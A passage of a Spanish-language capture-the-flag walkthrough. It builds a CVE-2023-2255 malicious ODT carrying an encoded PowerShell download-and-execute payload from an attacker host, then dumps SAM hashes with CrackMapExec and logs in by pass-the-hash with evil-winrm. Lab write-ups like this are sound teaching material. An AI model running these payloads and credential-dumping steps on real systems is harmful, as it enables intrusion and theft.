Ejecutamos el script del CVE-2023-2255 que hemos descargado
❯ python3 CVE-2023-2255.py --cmd 'cmd /c powershell -enc SQBFAFgAKABOAGUAdwAtAE8AQgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgAxADgAMwA6ADgAMAAwADAALwBzAGgAZQBsAGwALgBwAHMAMQAnACkACgA=%' --output 'exploit.odt'
File exploit.odt has been created !
Esto crea un archivo llamado exploit.odt que contiene un payload de PowerShell codificado en base64. Ahora vamos a iniciar un servidor HTTP por el puerto 8000 para que descarguemos el archivo desde la máquina de Maya. Me pongo también en escucha con netcat para conseguir reverse shell pero no recibo nada.
Asi que sin saber que hacer, pruebo a usar Podman
, una herramienta de contenedores de código abierto, similar a Docker.
❯ podman run -it --rm docker.io/heywoodlh/crackmapexec smb mailing.htb -u maya -p "m4y4ngs4ri" --sam
Opciones de Podman
podman run: Ejecuta un contenedor usando la imagen especificada (en este caso, la imagen de CrackMapExec).
- –it: Ejecuta el contenedor en modo interactivo con una pseudo-terminal, lo que permite la interacción en tiempo real.
- —rm: Elimina el contenedor automáticamente una vez que finalice su ejecución, limpiando los recursos que utilizó.
- docker.io/heywoodlh/crackmapexec: Especifica la imagen del contenedor que se va a ejecutar. En este caso, la imagen de CrackMapExec, una herramienta utilizada para evaluar la seguridad de servicios remotos, en particular para realizar ataques contra servicios SMB, SSH, LDAP, etc.
- smb mailing.htb: Le indica a CrackMapExec que se va a interactuar con el servicio SMB del host mailing.htb.
- –u maya -p “m4y4ngs4ri”: Proporciona el nombre de usuario (maya) y la contraseña (m4y4ngs4ri) para autenticarte en el servicio SMB de mailing.htb.
- —sam: Este parámetro le indica a CrackMapExec que debe volcar los hashes del SAM (Security Account Manager), una base de datos en Windows que almacena las credenciales de las cuentas de usuario.
Como podemos ver nos volcó los hashes de las cuentas de usuario desde la base de datos SAM de la máquina Windows. Si entramos con localadmin…
evil-winrm -i 10.10.11.14 -u localadmin -p "aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae"
*Evil-WinRM* PS C:\Users\localadmin\Documents>
---------------------------